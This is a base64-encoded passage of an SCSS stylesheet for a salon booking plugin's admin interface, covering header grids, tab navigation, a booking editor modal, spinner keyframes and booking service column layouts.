dFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX2NvbmZpcm1hdGlvbiB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0byAvIDQwcHggMWZyO1xuXHRcdFx0XHRoZWlnaHQ6IDEwMCU7XG5cdFx0XHRcdGgyIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWljb24tLWFwcHJvdmUge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4taWNvbi0tZGVueSB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0XHRncmlkLWNvbHVtbjogNDtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC8vLy8gTkVXIE1BSU4gSEVBREVSIEJPWCAvLyBFTkQgLy8vL1xuXHQvLy8vIFRBQlMgTkFWIC8vLy9cblx0LnNsbi1hZG1pbl9fdGFic19fbmF2X193cmFwcGVyIHtcblx0XHRoZWlnaHQ6IDUuMWVtO1xuXHRcdC8vb3ZlcmZsb3cteTogaGlkZGVuO1xuXHRcdG1hcmdpbjogMmVtIDAgMS4zMTI1ZW0gMDtcblx0fVxuXHQuc2xuLWFkbWluX190YWJzX19uYXZfX2lubmVyIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdC8vb3ZlcmZsb3cteDogc2Nyb2xsO1xuXHR9XG5cdC5zbG4tYWRtaW5fX3RhYnNfX25hdiB7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRmbGV4OiAxIDAgYXV0bztcblx0XHRtYXJnaW46IDAgMCAwLjYyNXJlbSAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDAuMjVzO1xuXHRcdCYuc2xuLWFkbWluX190YWJzX19uYXYtLWhpZGRlbiB7XG5cdFx0XHQuc2xuLWFkbWluX190YWJzX19uYXZfX2l0ZW0ge1xuXHRcdFx0XHRtYXgtaGVpZ2h0OiAwO1xuXHRcdFx0XHRvcGFjaXR5OiAwO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWFkbWluX190YWJzX19uYXZfX2l0ZW0ge1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGZsZXg6IDEgMCBhdXRvO1xuXHRcdFx0ZmxleC1iYXNpczogMDtcblx0XHRcdG1hcmdpbi1ib3R0b206IDFweDtcblx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMC43KTtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcyBlYXNlLW91dDtcblx0XHRcdC8vXG5cblx0XHRcdG1heC1oZWlnaHQ6IDEwMCU7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiIFwiO1xuXHRcdFx0XHRoZWlnaHQ6IDNweDtcblx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRyaWdodDogMDtcblx0XHRcdFx0Ym90dG9tOiAtMnB4O1xuXHRcdFx0XHRsZWZ0OiAwO1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0fVxuXHRcdFx0YSB7XG5cdFx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGU6IGF1dG8gLyAxZnI7XG5cdFx0XHRcdGZsZXg6IDE7XG5cdFx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdFx0cGFkZGluZzogMC41ZW07XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS4xMjVyZW07XG5cdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHRcdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0XHRcdHNwYW4ge1xuXHRcdFx0XHRcdHdpZHRoOiA5MCU7XG5cdFx0XHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0XHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXHRcdFx0XHRcdGp1c3RpZnktc2VsZjogY2VudGVyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG5cdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Ji5hY3RpdmUge1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHR9XG5cdFx0XHRcdGEge1xuXHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ly8vLyBUQUJTIE5BViAvLyBFTkQgLy8vL1xuXHQvLy8gVEFCUyBDT05URU5UIC8vLy9cblx0I3Nsbi1ib29raW5nX190YWJzY29udGVudCB7XG5cdFx0LnNsbi1ib3gudGFiLXBhbmUge1xuXHRcdFx0LnNsbi1ib3gtdGl0bGUtLW51LS1zZWMge1xuXHRcdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQvLy8gVEFCUyBDT05URU5UIC8vIEVORCAvLy8vXG59XG5cbi8vIC8vLyBCT09LSU5HIEVORFxuXG4vLy8vIE5FVyBCT09LSU5HIE1PREFMIC8vIDA5LjIwMjQgLy8vL1xuLmlzSW5JZnJhbWUge1xuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG4vLy5zbG4tY2FsZW5kYXItLXdyYXBwZXItLXN1YiAjc2xuLWJvb2tpbmctZWRpdG9yLW1vZGFsIHtcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXItLXN1YiB7XG5cdC5tb2RhbC1sZyB7XG5cdFx0Lm1vZGFsLWRpYWxvZyxcblx0XHQubW9kYWwtY29udGVudCB7XG5cdFx0XHQvKiA4MCUgb2Ygd2luZG93IGhlaWdodCAqL1xuXHRcdFx0aGVpZ2h0OiA4MHZoO1xuXHRcdH1cblx0XHQubW9kYWwtY29udGVudCB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2dyZXktLWxpZ2h0ZXI7XG5cdFx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdFx0Lm1vZGFsLWJvZHkge1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRcdFx0XHRwYWRkaW5nLWxlZnQ6IDA7XG5cdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdGhlaWdodDogY2FsYygxMDAlIC0gMTJ2aCk7XG5cdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIHtcblx0XHRcdFx0XHRoZWlnaHQ6IGNhbGMoMTAwJSAtIDEwdmgpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmctZWRpdG9yLS13cmFwcGVyLFxuXHRcdFx0LnNsbi1ib29raW5nLWVkaXRvci0td3JhcHBlci0tc3ViLFxuXHRcdFx0aWZyYW1lLmJvb2tpbmctZWRpdG9yIHtcblx0XHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQubW9kYWwtZm9vdGVyIHtcblx0XHRcdGhlaWdodDogMTJ2aDtcblx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogNjAlIDQwJTtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogMWZyIDFmcjtcblx0XHRcdGFsaWduLXNlbGY6IGNlbnRlcjtcblx0XHRcdHBhZGRpbmc6IDAgMzBweDtcblx0XHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdFx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdFx0Lm1vZGFsLWZvb3Rlcl9fYWN0aW9ucyB7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRoZWlnaHQ6IDEwMCU7XG5cdFx0XHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0LnNsbi1idG4ge1xuXHRcdFx0XHRcdC8vbWFyZ2luLWxlZnQ6IDAuNnJlbTtcblx0XHRcdFx0XHRtaW4td2lkdGg6IDI0JTtcblx0XHRcdFx0XHQmOmZpcnN0LWNoaWxkIHtcblx0XHRcdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQmLm1vZGFsLWZvb3Rlcl9fYWN0aW9ucy0tbXVsdGkge1xuXHRcdFx0XHRcdC5zbG4tYnRuIHtcblx0XHRcdFx0XHRcdG1pbi13aWR0aDogMjUlO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQjc2VuZC10by1zcXVhcmUtcG9zLnNsbi1idG4tLWJpZyB7XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDEycHg7XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHRcdFx0XHRcdFx0ZmxleC13cmFwOiB3cmFwO1xuXHRcdFx0XHRcdFx0LnNsbi1idG4ge1xuXHRcdFx0XHRcdFx0XHRtaW4td2lkdGg6IDQ4JTtcblx0XHRcdFx0XHRcdFx0JjpudGgtY2hpbGQoMykge1xuXHRcdFx0XHRcdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHQjc2VuZC10by1zcXVhcmUtcG9zLnNsbi1idG4tLWJpZyB7XG5cdFx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMTBweDtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5tb2RhbC1mb290ZXJfX2ZseWluZ2FjdGlvbnMge1xuXHRcdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHR0b3A6IGNhbGMoMTAwJSArIDNyZW0pO1xuXHRcdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0XHR9XG5cdFx0XHQuYm9va2luZy1sYXN0LWVkaXQtZGl2IHtcblx0XHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0fVxuXHRcdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkge1xuXHRcdFx0XHRoZWlnaHQ6IDEwdmg7XG5cdFx0XHR9XG5cdFx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDAlIDYwJTtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiAxZnI7XG5cdFx0XHRcdHBhZGRpbmc6IDE1cHggMzBweDtcblx0XHRcdFx0Lm1vZGFsLWZvb3Rlcl9fYWN0aW9ucyB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0Z2FwOiAxcmVtO1xuXHRcdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDNyZW07XG5cdFx0XHRcdFx0Ji5tb2RhbC1mb290ZXJfX2FjdGlvbnMtLW11bHRpIHtcblx0XHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQuYm9va2luZy1sYXN0LWVkaXQtZGl2IHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG5cdFx0Lm1vZGFsLWxnIHtcblx0XHRcdHdpZHRoOiA4MHZ3O1xuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDE2MDBweCkge1xuXHRcdC5tb2RhbC1sZyB7XG5cdFx0XHR3aWR0aDogNjB2dztcblx0XHR9XG5cdFx0Lm1vZGFsLS1uZXcgLm1vZGFsLWxnIHtcblx0XHRcdHdpZHRoOiA4MHZ3O1xuXHRcdH1cblx0fVxufVxuLnRvcGxldmVsX3BhZ2Vfc2Fsb24gLnNsbi1jYWxlbmRhci0td3JhcHBlciAubW9kYWwtYmFja2Ryb3AuaW4ge1xuXHRvcGFjaXR5OiAwLjc1O1xufVxuLnNsbi1jYWxlbmRhci0td3JhcHBlci0tc3ViIC5tb2RhbC0tbmV3IHtcblx0Lm1vZGFsLWZvb3RlciAubW9kYWwtZm9vdGVyX19hY3Rpb25zIHtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGVuZDtcblx0XHQuc2xuLWR1cGxpY2F0ZS1ib29raW5nLFxuXHRcdC5zbG4tYnRuLS1iaWdbZGF0YS1hY3Rpb249XCJkZWxldGUtZWRpdGVkLWJvb2tpbmdcIl0ge1xuXHRcdFx0ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdH1cblx0fVxufVxuLy8vLyBNT0RBTCBDT05URU5UXG4uaW5tb2RhbCB7XG5cdC51c2VyYmFjay1idXR0b24tY29udGFpbmVyIHtcblx0XHRkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG5cdH1cbn1cbi8vLy8gTU9EQUwgQ09OVEVOVCAvLyBFTkRcbi5wb3N0LXR5cGUtc2xuX2Jvb2tpbmcge1xuXHQucG9zdGJveCB7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHR9XG5cdC5wb3N0Ym94LWhlYWRlciB7XG5cdFx0ZGlzcGxheTogbm9uZTtcblx0fVxuXHQuc2xuLWJveCB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdG1hcmdpbi1yaWdodDogMDtcblx0XHRmb250LXNpemU6IHR5cG8tYWRtaW4uJGZvbnQtc2l6ZS1iYXNlO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4LCAxNnB4KTtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0XHR9XG5cdFx0Ji5zbG4tY2FsZW5kYXItdmlldyB7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNsbi1ib3gtLXBiIHtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0fVxuXHRcdCYuc2xuLWJveC0tZmxhdGJvdHRvbSB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0XHRwIHtcblx0XHRcdEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuXHRcdFx0QGV4dGVuZCAlZm9udC1jbF9zdGFuZGFyZC0tbWVkaXVtO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcblx0XHRcdG1hcmdpbjogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3gtdGl0bGUtLW51LS1zZWMsXG5cdC5zbG4tYm94LXRpdGxlLS1udS0tdGVyIHtcblx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnVfbWFpbi0tbGlnaHQ7XG5cdFx0Ji5zbG4tYm94LXRpdGxlLS1udS0tZGFyayB7XG5cdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuXHRcdH1cblx0fVxuXHQuc2xuX21ldGFfZmllbGQgKyAuc2xuLWJveC10aXRsZS0tbnUtLXRlciB7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0fVxufVxuXG5ALXdlYmtpdC1rZXlmcmFtZXMgbG9hZDgge1xuXHQwJSB7XG5cdFx0LXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcblx0XHR0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcblx0fVxuXHQxMDAlIHtcblx0XHQtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcblx0fVxufVxuQGtleWZyYW1lcyBsb2FkOCB7XG5cdDAlIHtcblx0XHQtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuXHR9XG5cdDEwMCUge1xuXHRcdC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcblx0XHR0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuXHR9XG59XG4jc2xuX2Jvb2tpbmctZGV0YWlscyB7XG5cdC5zbG4tYm94X19yb3ctLWZsZXgge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHR9XG5cdC5zbG4tYm94X19yb3ctLWZsZXgtLWFsY2VudGVyIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHRcdG1hcmdpbi1ib3R0b206IDNyZW07XG5cdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3hfX3Jvdy0tZmxleC0tYWxlbmQge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0YWxpZ24taXRlbXM6IGVuZDtcblx0XHRmbGV4LXdyYXA6IHdyYXA7XG5cdFx0LnNsbi1zd2l0Y2gtLXZpZXdtb2RlIHtcblx0XHRcdGp1c3RpZnktc2VsZjogZW5kO1xuXHRcdH1cblx0fVxuXG5cdEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbDtcblx0LnNsbi1ib29raW5nLWN1c3RvbWVyLXNjb3JlLFxuXHQuc2xuLXJhdGluZ19fd3JhcHBlciB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHRcdG1hcmdpbi1ib3R0b206IDJyZW07XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGNvbG9yOiByZ2IoMCwgNTMsIDgzKTtcblx0fVxuXHQvLyAuc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXRpdGxlIHtcblx0Ly8gfVxuXHQuc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXZhbHVlLFxuXHQuc2xuLXJhdGluZyB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGhlaWdodDogMTAwJTtcblx0XHRmb250LXNpemU6IDEuNzVyZW07XG5cdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuXHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgwLjUpO1xuXHR9XG59XG5cbiNzbG5fcmVzb3VyY2UtZGV0YWlscyAuc2xuLXN3aXRjaCB7XG5cdG1hcmdpbi10b3A6IDIzcHg7XG5cdG1hcmdpbi1ib3R0b206IDA7XG59XG5cbiNzbG5fcmVzb3VyY2UtZGV0YWlscyAuc2xuLXN3aXRjaCBsYWJlbCB7XG5cdGZvbnQtc2l6ZTogMTJweDtcbn1cblxuLnNsbi1yZXNvdXJjZXMtZGlzYWJsZWQge1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4vLyBub3cgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwXG4vLyAuc2xuLXJlc291cmNlcy1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyBcdGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXJlc291cmNlcy1kaXNhYmxlZCAuc2xuLXJlc291cmNlcy0tY2hlY2tib3gge1xuXHRjb2xvcjogI2NjYztcblx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcblx0b3BhY2l0eTogMC41O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXJlc291cmNlcy1kaXNhYmxlZCAuc2xuLXJlc291cmNlcy0tY2hlY2tib3ggbGFiZWwge1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuLyogRklYIDA5MjAyMyAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbl9ib29raW5nLWRldGFpbHMge1xuXHQvLyAuc2xuLXJvdyB7XG5cdC8vIFx0Ly9kaXNwbGF5OiBmbGV4O1xuXHQvLyBcdC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ly8gfVxuXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMSB7XG5cdFx0d2lkdGg6IDguMzMzMzMzMzMlO1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmc6IDAgMTVweDtcblx0fVxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTIge1xuXHRcdHdpZHRoOiAxNi42NjY2NjY2NiU7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0zIHtcblx0XHR3aWR0aDogMjUlO1xuXHRcdGxpIGlucHV0IHtcblx0XHRcdHBhZGRpbmc6IDA7XG5cdFx0XHRtaW4taGVpZ2h0OiAxLjVyZW07XG5cdFx0fVxuXHR9XG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNCB7XG5cdFx0d2lkdGg6IDMzLjMzMzMzJTtcblx0fVxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTUge1xuXHRcdHdpZHRoOiA0MS42NjY2NjY2NyU7XG5cdFx0cGFkZGluZzogMCAxNXB4O1xuXHR9XG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNiB7XG5cdFx0d2lkdGg6IDUwJTtcblx0XHRwYWRkaW5nOiAwIDE1cHg7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xLFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTIsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMyxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC00LFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTUsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNixcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC03LFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTgsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtOSxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMCxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMSxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMiB7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdG1pbi1oZWlnaHQ6IDFweDtcblx0XHRwYWRkaW5nLWxlZnQ6IDVweDtcblx0XHRwYWRkaW5nLXJpZ2h0OiA1cHg7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xLnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0d2lkdGg6IDIwcHg7XG5cdFx0cGFkZGluZy1ib3R0b206IDEuNyU7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdC5iYXIge1xuXHRcdFx0d2lkdGg6IDIwcHg7XG5cdFx0XHRoZWlnaHQ6IDJweDtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG5cdFx0XHRtYXJnaW46IDNweCAwO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZS0tbW92ZSB7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuXHRcdHotaW5kZXg6IDI7XG5cdFx0dG9wOiBhdXRvO1xuXHR9XG